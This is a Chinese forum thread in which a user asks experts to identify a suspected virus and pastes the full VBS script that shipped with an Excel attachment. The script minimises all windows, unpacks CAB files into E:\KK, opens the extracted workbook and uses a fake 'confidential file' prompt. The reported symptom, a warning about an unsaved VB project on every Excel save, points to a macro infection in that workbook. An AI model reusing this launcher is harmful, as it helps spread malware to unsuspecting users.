1   1  /  1  页   跳转

专家来看看这是什么病毒

专家来看看这是什么病毒

专家来看看这是什么病毒,excel中有个VBS,一定要运VBS才能显示excel内容。运行后发现每次新建或者打开其他的EXCEL保存的时候都提示,VB新项未被保存,如果要保存存成其他格式之类。求解决
Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route
On error Resume Next
Set sh=WScript.CreateObject("shell.application")
sh.MinimizeAll
Set sh = Nothing
Set Fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")
If Fso.Folderexists("E:\KK") = False Then Fso.CreateFolder "E:\KK"
Fso.CopyFile _
WshShell.CurrentDirectory & "\201205CAIWUBAOBIAO*.CAB", "E:\KK\", True
For Each Atta_xls In ListDir("E:\KK")
WshShell.Run "expand " & Atta_xls & " -F:201205CAIWUBAOBIAO.xls E:\KK", 0, true
Next
If Fso.FileExists("E:\KK\201205CAIWUBAOBIAO.xls") = 0 then
route = WshShell.CurrentDirectory & "\201205CAIWUBAOBIAO.xls"
if Fso.FileExists(WshShell.CurrentDirectory & "\201205CAIWUBAOBIAO.xls")=0 then
route = InputBox("Warning! " & Chr(10) & "You are going to open a confidential file."& Chr(10) _
& "Please input the complete file path." & Chr(10) & "ex. C:\parth\confidential_file.xls", _
"Open a File" , "Please Input the Complete File Path", 10000, 8500)
End if
else
route = "E:\KK\201205CAIWUBAOBIAO.xls"
End If
set oexcel=createobject("excel.application")
set owb=oexcel.workbooks.open(route)
oExcel.Visible = True
Set oExcel = Nothing
Set oWb = Nothing
Set WshShell = Nothing
Set Fso = Nothing
WScript.Quit
Private Function ListDir (ByVal Path)
Dim Filter, a, n, Folder, Files, File
ReDim a(10)
n = 0
Set Folder = fso.GetFolder(Path)
Set Files = Folder.Files
For Each File In Files
If left(File.Name,18) = "201205CAIWUBAOBIAO" and right(File.Name,3) = "CAB" Then
If n > UBound(a) Then ReDim Preserve a(n*2)
a(n) = File.Path
n = n + 1
End If
Next
ReDim Preserve a(n-1)
ListDir = a
End Function


用户系统信息:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; staticlogin:product=cboxf2010&act=login&info=ZmlsZW5hbWU9UG93ZXJXb3JkMjAxME94Zl9VbHRpbWF0ZS5leGUmbWFjPUMxQjE0OTRDNUQ3QjQzRkNBOUY4Mzk4NTdENjRGQzc3JnBhc3Nwb3J0PSZ2ZXJzaW9uPTIwMTAuNi4zLjYuMiZjcmFzaHR5cGU9MQ==&verify=6a6eb22322a74d51ea3f68f5a015f209)
分享到:
gototop
 

回复 1F joer007 的帖子

请lz提供xls文件。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT